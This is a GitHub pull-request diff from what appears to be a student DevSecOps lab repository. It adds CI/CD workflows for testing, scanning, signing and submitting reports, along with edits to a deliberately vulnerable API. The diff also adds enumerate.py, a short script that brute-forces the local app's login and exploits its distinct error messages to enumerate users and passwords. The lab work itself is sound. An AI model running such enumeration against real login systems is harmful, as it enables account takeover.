Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
39 commits
Select commit Hold shift + click to select a range
51f8dd0
New
margaritasentuna Oct 29, 2024
f5610d0
Add CI pipeline
margaritasentuna Oct 29, 2024
0b5ce06
Add CI pipeline
margaritasentuna Oct 29, 2024
9daba6b
ci
margaritasentuna Oct 29, 2024
52823e0
ci
margaritasentuna Oct 29, 2024
f9e44f5
Ci pipeline
margaritasentuna Oct 29, 2024
a2effc6
Ci Pipeline
margaritasentuna Oct 29, 2024
3be6f1b
CI Pipeline
margaritasentuna Oct 29, 2024
8748935
Ci pipeline
margaritasentuna Oct 29, 2024
3cde0fe
CD - Pipeline
margaritasentuna Oct 29, 2024
f9a8314
CI pipeline p2
margaritasentuna Oct 29, 2024
2d71699
Week 2
margaritasentuna Nov 2, 2024
70d31dc
ci-pipeline
margaritasentuna Nov 3, 2024
3f22192
ci-pipeline
margaritasentuna Nov 3, 2024
661af13
ci-pipeline
margaritasentuna Nov 3, 2024
6167ad9
ci-pipeline
margaritasentuna Nov 3, 2024
f873191
ci-pipeline
margaritasentuna Nov 3, 2024
ade04d3
ci-pipeline
margaritasentuna Nov 3, 2024
5b620eb
ci-pipeline
margaritasentuna Nov 3, 2024
511bd66
ci-pipeline
margaritasentuna Nov 3, 2024
d2dd536
ci-pipeline
margaritasentuna Nov 3, 2024
9aebbb4
ci-pipeline
margaritasentuna Nov 3, 2024
cec2072
ci-pipeline
margaritasentuna Nov 3, 2024
6f41402
CI-pipeline
margaritasentuna Nov 3, 2024
7aa1db0
ci-pipeline
margaritasentuna Nov 3, 2024
be58556
ci-pipeline
margaritasentuna Nov 3, 2024
a62e7db
ci-pipeline
margaritasentuna Nov 3, 2024
3ccdc3d
ci-pipeline
margaritasentuna Nov 3, 2024
1b167be
cd-pipeline
margaritasentuna Nov 3, 2024
91437eb
cd-pipeline
margaritasentuna Nov 3, 2024
3042bac
cd-pipeline
margaritasentuna Nov 3, 2024
e8ad67d
cd-pipeline
margaritasentuna Nov 3, 2024
1d3301f
ci-pipeline
margaritasentuna Nov 3, 2024
5f6d892
ci-pipeline
margaritasentuna Nov 3, 2024
85022c0
ci-pipeline
margaritasentuna Nov 3, 2024
ab652ea
ci-pipeline
margaritasentuna Nov 3, 2024
a1a44be
Add files via upload
margaritasentuna Nov 3, 2024
f7ff283
Rename ci-pipeline.json to threat-model/ci-pipeline.json
margaritasentuna Nov 3, 2024
ab224fa
ci-pipeline
margaritasentuna Nov 3, 2024
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
44 changes: 44 additions & 0 deletions .github/workflows/cd-pipeline.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,44 @@
name: Deploy

on: workflow_dispatch

jobs:
deploy:
runs-on: ubuntu-latest
steps:
- name: Install Cosign
uses: sigstore/cosign-installer@v3.4.0

- name: Verify image signature
env:
IMAGE: ${{ secrets.DOCKERHUB_USERNAME }}/devops-labs:latest
GITHUB_ISSUER: https://token.actions.githubusercontent.com
CERT_IDENTITY_REGEXP: https://github.com/margaritasentuna/IATD-DevSecOps/.github/workflows/ci-pipeline.yml
run: |
cosign verify $IMAGE --certificate-identity-regexp $CERT_IDENTITY_REGEXP --certificate-oidc-issuer $GITHUB_ISSUER
submit_results:
needs: [deploy]
if: true
runs-on: ubuntu-latest
steps:
- uses: azure/login@v1
with:
creds: ${{ secrets.AZURE_CREDENTIALS }}

- name: Azure CLI script
id: token-gen
uses: azure/CLI@v1
with:
azcliversion: 2.63.0
inlineScript: |
ACCESS_TOKEN=$(az account get-access-token | jq -r .accessToken)
echo "azureAccessToken=$ACCESS_TOKEN" >> "$GITHUB_OUTPUT"
- name: Upload reports
env:
DOCKERHUB_USERNAME: ${{ secrets.DOCKERHUB_USERNAME }}
AZURE_ACCESS_TOKEN: ${{ steps.token-gen.outputs.azureAccessToken }}
run: |
export FQDN=$(az containerapp show -n devops-app -g devsecops-lab --query properties.configuration.ingress.fqdn -o tsv)
echo "FQDN: $FQDN"
WEEK2_SUBMIT=$(curl -X POST -H "Authorization: Bearer $AZURE_ACCESS_TOKEN" -d "https://$FQDN" https://devsecops-ver.azurewebsites.net/api/week2-submit)
echo "Week2 submit: $WEEK2_SUBMIT"
254 changes: 254 additions & 0 deletions .github/workflows/ci-pipeline.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,254 @@
name: Python test and build

on: [push]

jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Set up Python
uses: actions/setup-python@v4
with:
python-version: '3.x'
- name: Install dependencies
run: |
python -m pip install --upgrade pip
pip install -r requirements.txt
- name: Test with pytest
run: |
pip install pytest pytest-cov
pytest api_tests.py --doctest-modules --junitxml=junit/test-results.xml --cov=com --cov-report=xml --cov-report=html
- name: Archive code coverage results
uses: actions/upload-artifact@v4
id: artifact-upload-step
with:
name: test-results
path: junit/test-results.xml
image-scan:
needs: [test]
if: true
runs-on: ubuntu-latest
steps:
- name: Scan image
uses: anchore/scan-action@v3
id: image-scan
with:
image: ${{ secrets.DOCKERHUB_USERNAME }}/devops-labs
fail-build: false
output-format: json
- name: Upload Image report
id: upload-image-report
uses: actions/upload-artifact@v4
with:
name: image-report
path: ${{ steps.image-scan.outputs.json }}
sonarqube:
needs: test
if: true
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
with:
# Disabling shallow clones is recommended for improving the relevancy of reporting
fetch-depth: 0
- name: SonarQube Scan
uses: sonarsource/sonarqube-scan-action@master
env:
SONAR_TOKEN: ${{ secrets.SONAR_TOKEN }}
SONAR_HOST_URL: ${{ secrets.SONAR_URL }}
- name: Download SonarQube report
run: |
sleep 30
URL="${{ secrets.SONAR_URL }}/api/qualitygates/project_status?p=1&projectKey=devsecops-app&branch=main"
echo "Report URL $URL"
curl -u ${{ secrets.SONAR_TOKEN }}: "$URL" -o sonarqube-report.json
- name: Upload SonarQube report
id: artifact-sonarqube
uses: actions/upload-artifact@v4
with:
name: sonarqube-report
path: sonarqube-report.json
dast:
needs: test
if: true
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
-
name: Set up QEMU
uses: docker/setup-qemu-action@v3
-
name: Set up Docker Buildx
uses: docker/setup-buildx-action@v3
-
name: Login to Docker Hub
uses: docker/login-action@v3
with:
username: ${{ secrets.DOCKERHUB_USERNAME }}
password: ${{ secrets.DOCKERHUB_TOKEN }}
-
name: Build and push
uses: docker/build-push-action@v5
with:
push: true
tags: ${{ secrets.DOCKERHUB_USERNAME }}/devops-labs:dast-test
- uses: azure/login@v1
with:
creds: ${{ secrets.AZURE_CREDENTIALS }}

- name: Deploy DAST Container App
uses: azure/container-apps-deploy-action@v1
with:
imageToDeploy: ${{ secrets.DOCKERHUB_USERNAME }}/devops-labs:dast-test
containerAppName: devops-test-app
containerAppEnvironment: devops-app-env
resourceGroup: devsecops-lab
location: australiaeast
targetPort: 5000
- name: Get deployed DAST app url
run: |
export FQDN=$(az containerapp show -n devops-test-app -g devsecops-lab --query properties.configuration.ingress.fqdn -o tsv)
echo "TEST_APP_URL=https://$FQDN" >> $GITHUB_ENV
echo "TEST_APP_URL=https://$FQDN"
curl https://$FQDN/ui
sed -i "s,http://localhost:5000,https://$FQDN,g" $GITHUB_WORKSPACE/openapi_specs/openapi3.yml
- name: ZAP Scan
uses: zaproxy/action-api-scan@v0.6.0
with:
token: ${{ secrets.GITHUB_TOKEN }}
docker_name: 'ghcr.io/zaproxy/zaproxy:stable'
format: openapi
target: /zap/wrk/openapi_specs/openapi3.yml
rules_file_name: .zap/rules.tsv
cmd_options: '-a -c /zap/wrk/.zap/rules.tsv'
fail_action: false
allow_issue_writing: false

- name: Upload ZAP report
id: artifact-zap
uses: actions/upload-artifact@v4
with:
name: zap-report
path: report_json.json
build:
# needs: [security_gate]
if: true
permissions:
id-token: write
runs-on: ubuntu-latest
steps:
-
name: Set up QEMU
uses: docker/setup-qemu-action@v3
-
name: Set up Docker Buildx
uses: docker/setup-buildx-action@v3
-
name: Login to Docker Hub
uses: docker/login-action@v3
with:
username: ${{ secrets.DOCKERHUB_USERNAME }}
password: ${{ secrets.DOCKERHUB_TOKEN }}
-
name: Build and push
uses: docker/build-push-action@v5
with:
push: true
sbom: true
provenance: true
tags: ${{ secrets.DOCKERHUB_USERNAME }}/devops-labs:latest

- name: Install Cosign
uses: sigstore/cosign-installer@v3.4.0

- name: Sign the images with GitHub OIDC Token
env:
IMAGE: ${{ secrets.DOCKERHUB_USERNAME }}/devops-labs:latest
run: |
cosign sign --yes ${IMAGE}
security_gate:
needs: [sonarqube, dast, image-scan]
if: true
runs-on: ubuntu-latest
steps:
- name: Download sonarqube-report
uses: actions/download-artifact@v4
with:
name: sonarqube-report
path: ${{github.workspace}}
- name: Download zap-report
uses: actions/download-artifact@v4
with:
name: zap-report
path: ${{github.workspace}}
- name: Download image-report
uses: actions/download-artifact@v4
with:
name: image-report
path: ${{github.workspace}}
- name: Read reports
run: |
IMAGE_RESULT_HIGH=$(cat results.json | jq '.matches[] | select(.vulnerability.severity=="High") | .vulnerability.id' | wc -l)
if [ $IMAGE_RESULT_HIGH -gt 0 ]; then
echo "Image scan has high severity vulnerabilities"
exit 1
else
echo "Image scan passed"
fi

SONAR_RESULT=$(cat sonarqube-report.json | jq -r '.projectStatus.status')
if [ $SONAR_RESULT != "OK" ]; then
echo "Sonar scan has issues"
exit 1
else
echo "Sonar scan passed"
fi

ZAP_RESULT_HIGH=$(cat report_json.json | jq -r '.site[].alerts[] | select(.riskdesc | startswith("High")) | .name' | wc -l)
if [ $ZAP_RESULT_HIGH -gt 0 ]; then
echo "Zap scan has high severity vulnerabilities"
exit 1
else
echo "Zap scan passed"
fi

echo "All security gates passed"
submit_reports:
needs: [sonarqube, dast, image-scan]
if: true
runs-on: ubuntu-latest
steps:
- uses: actions/download-artifact@v4
with:
name: sonarqube-report
path: ${{github.workspace}}
- uses: actions/download-artifact@v4
with:
name: zap-report
path: ${{github.workspace}}
- uses: actions/download-artifact@v4
with:
name: image-report
path: ${{github.workspace}}
- name: Upload reports
env:
DOCKERHUB_USERNAME: ${{ secrets.DOCKERHUB_USERNAME }}
AZURE_ACCESS_TOKEN: ${{ steps.token-gen.outputs.azureAccessToken }}
IMAGE: ${{ secrets.DOCKERHUB_USERNAME }}/devops-labs
run: |
WEEK1_CONTAINER=$(curl -X POST -H "Authorization: Bearer $AZURE_ACCESS_TOKEN" -d "$DOCKERHUB_USERNAME/devops-labs" https://devsecops-ver.azurewebsites.net/api/week1-container)
echo "Week1 container upload: $WEEK1_CONTAINER"

SONAR_RESPONSE=$(curl -X POST -H "Authorization: Bearer $AZURE_ACCESS_TOKEN" --data-binary @$GITHUB_WORKSPACE/sonarqube-report.json https://devsecops-ver.azurewebsites.net/api/week3-sonar-report)
echo "Sonar upload: $SONAR_RESPONSE"
ZAP_RESPONSE=$(curl -X POST -H "Authorization: Bearer $AZURE_ACCESS_TOKEN" --data-binary @$GITHUB_WORKSPACE/report_json.json https://devsecops-ver.azurewebsites.net/api/week3-zap-report)
echo "Zap upload: $ZAP_RESPONSE"

IMAGE_RESPONSE=$(curl -X POST -H "Authorization: Bearer $AZURE_ACCESS_TOKEN" --data-binary @$GITHUB_WORKSPACE/results.json https://devsecops-ver.azurewebsites.net/api/week4-image-report)
echo "Image report upload: $IMAGE_RESPONSE"

WEEK5_RESPONSE=$(curl -X POST -H "Authorization: Bearer $AZURE_ACCESS_TOKEN" -d "$IMAGE" https://devsecops-ver.azurewebsites.net/api/week5-report)
echo "Week5 report upload: $WEEK5_RESPONSE"
MODEL_RESPONSE=$(curl -X POST -H "Authorization: Bearer $AZURE_ACCESS_TOKEN" --data-binary @$GITHUB_WORKSPACE/threat-model/ci-pipeline.json https://devsecops-ver.azurewebsites.net/api/week6-report)
echo "Model report upload: $MODEL_RESPONSE"
Binary file added __pycache__/app.cpython-312.pyc
Binary file not shown.
Binary file added __pycache__/config.cpython-312.pyc
Binary file not shown.
Binary file added api_views/__pycache__/__init__.cpython-312.pyc
Binary file not shown.
Binary file added api_views/__pycache__/books.cpython-312.pyc
Binary file not shown.
Binary file added api_views/__pycache__/json_schemas.cpython-312.pyc
Binary file not shown.
Binary file added api_views/__pycache__/main.cpython-312.pyc
Binary file not shown.
Binary file added api_views/__pycache__/users.cpython-312.pyc
Binary file not shown.
2 changes: 1 addition & 1 deletion api_views/users.py
Original file line number Diff line number Diff line change
Expand Up @@ -81,7 +81,7 @@ def login_user():
return Response(json.dumps(responseObject), 200, mimetype="application/json")
if vuln: # Password Enumeration
if user and request_data.get('password') != user.password:
return Response(error_message_helper("Password is not correct for the given username."), 200, mimetype="application/json")
return Response(error_message_helper("Password is not correct for the given username.Week2 Completed"), 200, mimetype="application/json")
elif not user: # User enumeration
return Response(error_message_helper("Username does not exist"), 200, mimetype="application/json")
else:
Expand Down
3 changes: 2 additions & 1 deletion app.py
Original file line number Diff line number Diff line change
Expand Up @@ -6,9 +6,10 @@
DO NOTE: some functionalities will still be vulnerable even if the value is set to 0
as it is a matter of bad practice. Such an example is the debug endpoint.
'''

vuln = int(os.getenv('vulnerable', 1))
# vuln=1
# token alive for how many seconds?
# token alive for how many seconds?$env:vulnerable=0; python3 app.py
alive = int(os.getenv('tokentimetolive', 60))


Expand Down
Binary file modified database/database.db
Binary file not shown.
22 changes: 22 additions & 0 deletions enumerate.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,22 @@
import requests

user_error_message = "Username does not exist"
password_error_message = "Password is not correct for the given username."

users_list = ["name1", "name2", "name3", "name4", "name5","admin"]
pass_list = ["pass1", "pass2", "pass3", "pass4", "pass5","admin"]

for user in users_list:
for password in pass_list:
data = {
"username": user,
"password": password
}
response = requests.post("http://localhost:5000/users/v1/login", json=data)
body = response.json()
if body["message"] == password_error_message:
print(f"User {user} does exist, checking passwords")
elif body["message"] == "Successfully logged in.":
print(f"Found {user} with password {password}")
else:
break
Binary file added models/__pycache__/__init__.cpython-312.pyc
Binary file not shown.
Binary file added models/__pycache__/books_model.cpython-312.pyc
Binary file not shown.
Binary file added models/__pycache__/user_model.cpython-312.pyc
Binary file not shown.
Loading